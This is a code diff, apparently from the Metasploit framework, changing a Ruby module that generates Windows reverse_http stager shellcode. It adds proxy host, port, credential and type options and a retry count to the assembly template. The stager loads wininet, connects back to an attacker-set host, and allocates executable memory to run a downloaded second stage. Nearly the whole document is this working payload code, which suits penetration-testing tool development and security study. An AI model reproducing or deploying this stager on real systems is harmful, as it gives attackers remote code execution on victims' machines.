@@ -27,7 +27,13 @@ def initialize(*args)
27
27
super
28
28
register_advanced_options (
29
29
[
30
- OptInt . new ( 'HTTPStagerURILength' , [ false , 'The URI length for the stager (at least 5 bytes)' ] )
30
+ OptInt . new ( 'StagerURILength' , [ false , 'The URI length for the stager (at least 5 bytes)' ] ) ,
31
+ OptInt . new ( 'StagerRetryCount' , [ false , 'The number of times the stager should retry if the first connect fails' , 10 ] ) ,
32
+ OptString . new ( 'PayloadProxyHost' , [ false , 'An optional proxy server IP address or hostname' ] ) ,
33
+ OptPort . new ( 'PayloadProxyPort' , [ false , 'An optional proxy server port' ] ) ,
34
+ OptString . new ( 'PayloadProxyUser' , [ false , 'An optional proxy server username' ] ) ,
35
+ OptString . new ( 'PayloadProxyPass' , [ false , 'An optional proxy server password' ] ) ,
36
+ OptEnum . new ( 'PayloadProxyType' , [ false , 'The type of HTTP proxy (HTTP or SOCKS)' , 'HTTP' , [ 'HTTP' , 'SOCKS' ] ] )
31
37
] , self . class )
32
38
end
33
39
@@ -41,15 +47,22 @@ def generate
41
47
ssl : false ,
42
48
host : datastore [ 'LHOST' ] ,
43
49
port : datastore [ 'LPORT' ] ,
44
- url : "/" + generate_uri_checksum ( Msf ::Handler ::ReverseHttp ::URI_CHECKSUM_INITW ) )
50
+ url : generate_small_uri ,
51
+ retry_count : datastore [ 'StagerRetryCount' ] )
45
52
end
46
53
47
54
conf = {
48
55
ssl : false ,
49
56
host : datastore [ 'LHOST' ] ,
50
57
port : datastore [ 'LPORT' ] ,
51
58
url : generate_uri ,
52
- exitfunk : datastore [ 'EXITFUNC' ]
59
+ exitfunk : datastore [ 'EXITFUNC' ] ,
60
+ proxy_host : datastore [ 'PayloadProxyHost' ] ,
61
+ proxy_port : datastore [ 'PayloadProxyPort' ] ,
62
+ proxy_user : datastore [ 'PayloadProxyUser' ] ,
63
+ proxy_pass : datastore [ 'PayloadProxyPass' ] ,
64
+ proxy_type : datastore [ 'PayloadProxyType' ] ,
65
+ retry_count : datastore [ 'StagerRetryCount' ]
53
66
}
54
67
55
68
generate_reverse_http ( conf )
@@ -75,15 +88,15 @@ def generate_reverse_http(opts={})
75
88
#
76
89
def generate_uri
77
90
78
- uri_req_len = datastore [ 'HTTPStagerURILength ' ] . to_i
91
+ uri_req_len = datastore [ 'StagerURILength ' ] . to_i
79
92
80
93
# Choose a random URI length between 30 and 255 bytes
81
94
if uri_req_len == 0
82
95
uri_req_len = 30 + rand ( 256 -30 )
83
96
end
84
97
85
98
if uri_req_len < 5
86
- raise ArgumentError , "Minimum HTTPStagerURILength is 5"
99
+ raise ArgumentError , "Minimum StagerURILength is 5"
87
100
end
88
101
89
102
"/" + generate_uri_checksum ( Msf ::Handler ::ReverseHttp ::URI_CHECKSUM_INITW , uri_req_len )
@@ -112,23 +125,49 @@ def required_space
112
125
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
113
126
space += 31
114
127
128
+ # Proxy options?
129
+ space += 200
130
+
115
131
# The final estimated size
116
132
space
117
133
end
118
134
119
135
#
120
- # Dynamic payload generation
136
+ # Generate an assembly stub with the configured feature set and options.
137
+ #
138
+ # @option opts [Bool] :ssl Whether or not to enable SSL
139
+ # @option opts [String] :url The URI to request during staging
140
+ # @option opts [String] :host The host to connect to
141
+ # @option opts [Fixnum] :port The port to connect to
142
+ # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
143
+ # @option opts [String] :proxy_host The optional proxy server host to use
144
+ # @option opts [Fixnum] :proxy_port The optional proxy server port to use
145
+ # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
146
+ # @option opts [String] :proxy_user The optional proxy server username
147
+ # @option opts [String] :proxy_pass The optional proxy server password
148
+ # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
121
149
#
122
150
def asm_reverse_http ( opts = { } )
123
151
124
- #
125
- # options should contain:
126
- # ssl: (true|false)
127
- # url: "/url_to_request"
128
- # host: [hostname]
129
- # port: [port]
130
- # exitfunk: [process|thread|seh|sleep]
131
- #
152
+ retry_count = [ opts [ :retry_count ] . to_i , 1 ] . max
153
+ proxy_enabled = !!( opts [ :proxy_host ] . to_s . strip . length > 0 )
154
+ proxy_info = ""
155
+
156
+ if proxy_enabled
157
+ if opts [ :proxy_type ] . to_s . downcase == "socks"
158
+ proxy_info << "socks="
159
+ else
160
+ proxy_info << "http://"
161
+ end
162
+
163
+ proxy_info << opts [ :proxy_host ] . to_s
164
+ if opts [ :proxy_port ] . to_i > 0
165
+ proxy_info << ":#{ opts [ :proxy_port ] } "
166
+ end
167
+ end
168
+
169
+ proxy_user = opts [ :proxy_user ] . to_s . length == 0 ? nil : opts [ :proxy_user ]
170
+ proxy_pass = opts [ :proxy_pass ] . to_s . length == 0 ? nil : opts [ :proxy_pass ]
132
171
133
172
http_open_flags = 0
134
173
@@ -153,68 +192,120 @@ def asm_reverse_http(opts={})
153
192
154
193
asm = %Q^
155
194
;-----------------------------------------------------------------------------;
156
- ; Author: HD Moore
157
- ; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
195
+ ; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
158
196
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
159
- ; Version: 1.0
160
197
;-----------------------------------------------------------------------------;
161
198
162
199
; Input: EBP must be the address of 'api_call'.
163
- ; Output: EDI will be the socket for the connection to the server
164
200
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
165
201
load_wininet:
166
202
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
167
203
push 0x696e6977 ; ...
168
204
push esp ; Push a pointer to the "wininet" string on the stack.
169
205
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
170
206
call ebp ; LoadLibraryA( "wininet" )
207
+ xor ebx, ebx ; Set ebx to NULL to use in future arguments
208
+ ^
171
209
172
- set_retry:
173
- push.i8 8 ; retry 8 times should be enough
174
- pop edi
175
- xor ebx, ebx ; push 8 zeros ([1]-[8])
176
- mov ecx, edi
177
- push_zeros:
178
- push ebx
179
- loop push_zeros
180
-
181
- internetopen:
182
- ; DWORD dwFlags [1]
183
- ; LPCTSTR lpszProxyBypass (NULL) [2]
184
- ; LPCTSTR lpszProxyName (NULL) [3]
185
- ; DWORD dwAccessType (PRECONFIG = 0) [4]
186
- ; LPCTSTR lpszAgent (NULL) [5]
187
- push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
188
- call ebp
210
+ if proxy_enabled
211
+ asm << %Q^
212
+ internetopen:
213
+ push ebx ; DWORD dwFlags
214
+ push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
215
+ call get_proxy_server
216
+ db "#{ proxy_info } ", 0x00
217
+ get_proxy_server:
218
+ ; LPCTSTR lpszProxyName (via call)
219
+ push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
220
+ push ebx ; LPCTSTR lpszAgent (NULL)
221
+ push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
222
+ call ebp
223
+ ^
224
+ else
225
+ asm << %Q^
226
+ internetopen:
227
+ push ebx ; DWORD dwFlags
228
+ push ebx ; LPCTSTR lpszProxyBypass (NULL)
229
+ push ebx ; LPCTSTR lpszProxyName (NULL)
230
+ push ebx ; DWORD dwAccessType (PRECONFIG = 0)
231
+ push ebx ; LPCTSTR lpszAgent (NULL)
232
+ push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
233
+ call ebp
234
+ ^
235
+ end
189
236
237
+ asm << %Q^
190
238
internetconnect:
191
- ; DWORD_PTR dwContext (NULL) [6]
192
- ; dwFlags [7]
193
- push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
239
+ push ebx ; DWORD_PTR dwContext (NULL)
240
+ push ebx ; dwFlags
241
+ push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
194
242
push ebx ; password (NULL)
195
243
push ebx ; username (NULL)
196
244
push #{ opts [ :port ] } ; PORT
197
245
call got_server_uri ; double call to get pointer for both server_uri and
198
- server_uri: ; server_host; server_uri is saved in EDI for later
246
+ server_uri: ; server_host; server_uri is saved in EDI for later
199
247
db "#{ opts [ :url ] } ", 0x00
200
248
got_server_host:
201
- push eax ; HINTERNET hInternet
249
+ push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
202
250
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
203
251
call ebp
252
+ mov esi, eax ; Store hConnection in esi
253
+ ^
254
+
255
+ # Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
256
+ # doesn't set the Proxy-Authorization header on the CONNECT request.
257
+
258
+ if proxy_enabled && proxy_user
259
+ asm << %Q^
260
+ ; DWORD dwBufferLength (length of username)
261
+ push #{ proxy_user . length }
262
+ call set_proxy_username
263
+ proxy_username:
264
+ db "#{ proxy_user } ",0x00
265
+ set_proxy_username:
266
+ ; LPVOID lpBuffer (username from previous call)
267
+ push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
268
+ push esi ; hConnection
269
+ push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
270
+ call ebp
271
+ ^
272
+ end
204
273
274
+ if proxy_enabled && proxy_pass
275
+ asm << %Q^
276
+ ; DWORD dwBufferLength (length of password)
277
+ push #{ proxy_pass . length }
278
+ call set_proxy_password
279
+ proxy_password:
280
+ db "#{ proxy_pass } ",0x00
281
+ set_proxy_password:
282
+ ; LPVOID lpBuffer (password from previous call)
283
+ push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
284
+ push esi ; hConnection
285
+ push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
286
+ call ebp
287
+ ^
288
+ end
289
+
290
+ asm << %Q^
205
291
httpopenrequest:
206
- ; dwContext (NULL) [8]
292
+ push ebx ; dwContext (NULL)
207
293
push #{ "0x%.8x" % http_open_flags } ; dwFlags
208
294
push ebx ; accept types
209
295
push ebx ; referrer
210
296
push ebx ; version
211
297
push edi ; server URI
212
298
push ebx ; method
213
- push eax ; hConnection
299
+ push esi ; hConnection
214
300
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
215
301
call ebp
216
302
xchg esi, eax ; save hHttpRequest in esi
217
303
304
+ ; Store our retry counter in the edi register
305
+ set_retry:
306
+ push #{ retry_count }
307
+ pop edi
308
+
218
309
send_request:
219
310
^
220
311
@@ -229,9 +320,9 @@ def asm_reverse_http(opts={})
229
320
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
230
321
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
231
322
mov eax, esp
232
- push.i8 4 ; sizeof(dwFlags)
323
+ push 4 ; sizeof(dwFlags)
233
324
push eax ; &dwFlags
234
- push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
325
+ push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
235
326
push esi ; hHttpRequest
236
327
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
237
328
call ebp
@@ -272,7 +363,7 @@ def asm_reverse_http(opts={})
272
363
273
364
asm << %Q^
274
365
allocate_memory:
275
- push.i8 0x40 ; PAGE_EXECUTE_READWRITE
366
+ push 0x40 ; PAGE_EXECUTE_READWRITE
276
367
push 0x1000 ; MEM_COMMIT
277
368
push 0x00400000 ; Stage allocation (4Mb ought to do us)
278
369
push ebx ; NULL as we dont care where the allocation is
0 commit comments